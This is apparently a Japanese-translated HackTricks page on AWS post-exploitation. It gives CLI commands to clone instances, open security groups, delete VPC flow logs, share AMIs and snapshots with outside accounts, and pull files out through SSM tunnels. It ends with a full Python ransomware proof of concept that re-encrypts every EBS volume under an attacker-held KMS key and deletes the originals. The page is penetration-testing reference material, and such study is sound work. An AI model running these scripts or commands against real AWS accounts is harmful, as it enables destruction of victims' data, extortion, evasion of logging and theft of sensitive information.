# AWS - EC2, EBS, SSM & VPC ポストエクスプロイト {{#include ../../../../banners/hacktricks-training.md}} ## EC2 & VPC 詳細については、以下を確認してください: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} ### **悪意のある VPC ミラー -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` VPC トラフィックミラーリングは、**VPC 内の EC2 インスタンスのインバウンドおよびアウトバウンドトラフィックを複製**し、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、通常、分析と監視のためにネットワーク侵入検知システム (IDS) に送信されます。\ 攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます: 詳細については、このページを確認してください: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} ### 実行中のインスタンスのコピー インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります([EC2 権限昇格トリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください)。ただし、含まれているものを確認する別の方法は、**AMI を作成し、それから新しいインスタンスを実行することです(自分のアカウントであっても)**: ```shell # List instances aws ec2 describe-images # create a new image for the instance-id aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1 # add key to AWS aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1 # create ec2 using the previously created AMI, use the same security group and subnet to connect easily. aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1 # now you can check the instance aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 # If needed : edit groups aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1 # be a good guy, clean our instance to avoid any useless cost aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` ### EBSスナップショットダンプ **スナップショットはボリュームのバックアップ**であり、通常は**機密情報**を含むため、これを確認することでこの情報が明らかになる可能性があります。\ **スナップショットのないボリューム**を見つけた場合は、**スナップショットを作成**して次のアクションを実行するか、単に**アカウント内のインスタンスにマウント**することができます: {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} ### データの流出 #### DNS流出 EC2をロックダウンしてトラフィックが外に出られないようにしても、**DNS経由で流出する**可能性があります。 - **VPCフローログはこれを記録しません**。 - AWS DNSログへのアクセスはありません。 - 次のコマンドで「enableDnsSupport」をfalseに設定することでこれを無効にします: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### APIコールによる流出 攻撃者は、自身が管理するアカウントのAPIエンドポイントを呼び出すことができます。Cloudtrailはこれらの呼び出しをログに記録し、攻撃者はCloudtrailログで流出したデータを見ることができます。 ### オープンセキュリティグループ このようにポートを開くことで、ネットワークサービスへのさらなるアクセスを得ることができます: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS EC2インスタンスを実行し、ECSインスタンスを実行するために登録することが可能であり、その後ECSインスタンスのデータを盗むことができます。 For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). ### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` ### SSM ポートフォワーディング 必要な権限: - `ssm:StartSession` コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。この機能が役立つシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) からプライベートEKSクラスターへのピボットです。 > セッションを開始するには、SessionManagerPluginがインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. マシンにSessionManagerPluginをインストールします 2. 次のコマンドを使用してBastion EC2にログインします: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` 3. [AWS EC2 環境での SSRF の悪用](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトを使用して、Bastion EC2 AWS 一時資格情報を取得します 4. 資格情報を `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして自分のマシンに転送します 5. Bastion EC2 として EKS にログインします: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` 6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` に更新します 7. 次のように SSM トンネルを作成します: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` 8. `kubectl` ツールからのトラフィックは、Bastion EC2 を介して SSM トンネルを通じて転送されており、次のコマンドを実行することで自分のマシンからプライベート EKS クラスターにアクセスできます: ```shell kubectl get pods --insecure-skip-tls-verify ``` SSL接続は、`--insecure-skip-tls-verify`フラグ(またはK8s監査ツールでの同等のもの)を設定しない限り失敗します。トラフィックが安全なAWS SSMトンネルを通じてトンネリングされるため、MitM攻撃からは安全です。 最後に、この技術はプライベートEKSクラスターを攻撃するためのものではありません。任意のドメインとポートを設定して、他のAWSサービスやカスタムアプリケーションにピボットできます。 --- #### クイックローカル ↔️ リモートポートフォワード (AWS-StartPortForwardingSession) **EC2インスタンスからローカルホストに1つのTCPポートを転送するだけが必要な場合**は、`AWS-StartPortForwardingSession` SSMドキュメントを使用できます(リモートホストパラメータは不要です): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` コマンドは、ワークステーション(`localPortNumber`)とインスタンス上の選択したポート(`portNumber`)の間に双方向トンネルを確立します **インバウンドセキュリティグループルールを開かずに**。 一般的な使用例: * **ファイルの抽出** 1. インスタンス上で、抽出したいディレクトリを指す簡単なHTTPサーバーを起動します: ```bash python3 -m http.server 8000 ``` 2. ワークステーションからSSMトンネルを通じてファイルを取得します: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` * **内部ウェブアプリケーションへのアクセス(例:Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` ヒント: CloudTrailがクリアテキストの内容をログに記録しないように、証拠を抽出する前に圧縮して暗号化してください: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' ``` ### AMIを共有する ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` ### 公共およびプライベート AMI での機密情報の検索 - [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公共またはプライベートの Amazon Machine Images (AMIs) 内の機密情報を検索するために設計されたツール** です。ターゲット AMI からインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。 ### EBS スナップショットの共有 ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが簡単であることから、Ransomware Management Service(RMS)に改名されるべきです。 まず、'attacker' AWSアカウントからKMSにカスタマーマネージドキーを作成します。この例では、AWSがキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は'AttackSim'で、すべてのアクセスを許可するポリシールールは'Outside Encryption'と呼ばれています。 ``` { "Version": "2012-10-17", "Id": "key-consolepolicy-3", "Statement": [ { "Sid": "Enable IAM User Permissions", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::[Your AWS Account Id]:root" }, "Action": "kms:*", "Resource": "*" }, { "Sid": "Allow access for Key Administrators", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" }, "Action": [ "kms:Create*", "kms:Describe*", "kms:Enable*", "kms:List*", "kms:Put*", "kms:Update*", "kms:Revoke*", "kms:Disable*", "kms:Get*", "kms:Delete*", "kms:TagResource", "kms:UntagResource", "kms:ScheduleKeyDeletion", "kms:CancelKeyDeletion" ], "Resource": "*" }, { "Sid": "Allow use of the key", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" }, "Action": [ "kms:Encrypt", "kms:Decrypt", "kms:ReEncrypt*", "kms:GenerateDataKey*", "kms:DescribeKey" ], "Resource": "*" }, { "Sid": "Outside Encryption", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": [ "kms:Encrypt", "kms:Decrypt", "kms:ReEncrypt*", "kms:GenerateDataKey*", "kms:DescribeKey", "kms:GenerateDataKeyWithoutPlainText", "kms:CreateGrant" ], "Resource": "*" }, { "Sid": "Allow attachment of persistent resources", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" }, "Action": [ "kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant" ], "Resource": "*", "Condition": { "Bool": { "kms:GrantIsForAWSResource": "true" } } } ] } ``` キー ポリシー ルールには、EBS ボリュームを暗号化するために使用できるようにするために、次の設定が必要です。 - `kms:CreateGrant` - `kms:Decrypt` - `kms:DescribeKey` - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` 次に、公開アクセス可能なキーを使用します。暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットであり、この攻撃は高特権 AWS アカウントの侵害を前提としています。 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのコピーをスナップショットを使用して作成し、「攻撃者」アカウントからの公開利用可能なキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) これにより、アカウントに残るのは暗号化された EBS ボリュームのみとなります。 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) また、スクリプトは EC2 インスタンスを停止して元の EBS ボリュームをデタッチおよび削除しました。元の暗号化されていないボリュームは現在存在しません。 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) 次に、「攻撃者」アカウントのキー ポリシーに戻り、キー ポリシーから「外部暗号化」ポリシー ルールを削除します。 ```json { "Version": "2012-10-17", "Id": "key-consolepolicy-3", "Statement": [ { "Sid": "Enable IAM User Permissions", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::[Your AWS Account Id]:root" }, "Action": "kms:*", "Resource": "*" }, { "Sid": "Allow access for Key Administrators", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" }, "Action": [ "kms:Create*", "kms:Describe*", "kms:Enable*", "kms:List*", "kms:Put*", "kms:Update*", "kms:Revoke*", "kms:Disable*", "kms:Get*", "kms:Delete*", "kms:TagResource", "kms:UntagResource", "kms:ScheduleKeyDeletion", "kms:CancelKeyDeletion" ], "Resource": "*" }, { "Sid": "Allow use of the key", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" }, "Action": [ "kms:Encrypt", "kms:Decrypt", "kms:ReEncrypt*", "kms:GenerateDataKey*", "kms:DescribeKey" ], "Resource": "*" }, { "Sid": "Allow attachment of persistent resources", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" }, "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], "Resource": "*", "Condition": { "Bool": { "kms:GrantIsForAWSResource": "true" } } } ] } ``` しばらく待って、新しく設定されたキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームのいずれかをアタッチしようとします。ボリュームをアタッチできることがわかります。 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) これが使用される Python スクリプトです。これは、「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての利用可能な EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最後にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。 ``` import boto3 import argparse from botocore.exceptions import ClientError def enumerate_ec2_instances(ec2_client): instances = ec2_client.describe_instances() instance_volumes = {} for reservation in instances['Reservations']: for instance in reservation['Instances']: instance_id = instance['InstanceId'] volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] instance_volumes[instance_id] = volumes return instance_volumes def snapshot_volumes(ec2_client, volumes): snapshot_ids = [] for volume_id in volumes: snapshot = ec2_client.create_snapshot(VolumeId=volume_id) snapshot_ids.append(snapshot['SnapshotId']) return snapshot_ids def wait_for_snapshots(ec2_client, snapshot_ids): for snapshot_id in snapshot_ids: ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn): new_volume_ids = [] for snapshot_id in snapshot_ids: snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] volume_id = snapshot_info['VolumeId'] volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] availability_zone = volume_info['AvailabilityZone'] volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, Encrypted=True, KmsKeyId=kms_key_arn) new_volume_ids.append(volume['VolumeId']) return new_volume_ids def stop_instances(ec2_client, instance_ids): for instance_id in instance_ids: try: instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] if instance_state == 'running': ec2_client.stop_instances(InstanceIds=[instance_id]) print(f"Stopping instance: {instance_id}") ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) print(f"Instance {instance_id} stopped.") else: print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") except ClientError as e: print(f"Error stopping instance {instance_id}: {e}") def detach_and_delete_volumes(ec2_client, volumes): for volume_id in volumes: try: ec2_client.detach_volume(VolumeId=volume_id) ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) ec2_client.delete_volume(VolumeId=volume_id) print(f"Deleted volume: {volume_id}") except ClientError as e: print(f"Error detaching or deleting volume {volume_id}: {e}") def delete_snapshots(ec2_client, snapshot_ids): for snapshot_id in snapshot_ids: try: ec2_client.delete_snapshot(SnapshotId=snapshot_id) print(f"Deleted snapshot: {snapshot_id}") except ClientError as e: print(f"Error deleting snapshot {snapshot_id}: {e}") def replace_volumes(ec2_client, instance_volumes): instance_ids = list(instance_volumes.keys()) stop_instances(ec2_client, instance_ids) all_volumes = [vol for vols in instance_volumes.values() for vol in vols] detach_and_delete_volumes(ec2_client, all_volumes) def ebs_lock(access_key, secret_key, region, kms_key_arn): ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) instance_volumes = enumerate_ec2_instances(ec2_client) all_volumes = [vol for vols in instance_volumes.values() for vol in vols] snapshot_ids = snapshot_volumes(ec2_client, all_volumes) wait_for_snapshots(ec2_client, snapshot_ids) create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed def parse_arguments(): parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') parser.add_argument('--access-key', required=True, help='AWS Access Key ID') parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') parser.add_argument('--region', required=True, help='AWS Region') parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') return parser.parse_args() def main(): args = parse_arguments() ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) instance_volumes = enumerate_ec2_instances(ec2_client) all_volumes = [vol for vols in instance_volumes.values() for vol in vols] snapshot_ids = snapshot_volumes(ec2_client, all_volumes) wait_for_snapshots(ec2_client, snapshot_ids) create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) replace_volumes(ec2_client, instance_volumes) delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": main() ``` ## 参考文献 - [Pentest Partners – AWSでSSMを使用してファイルを転送する方法](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}}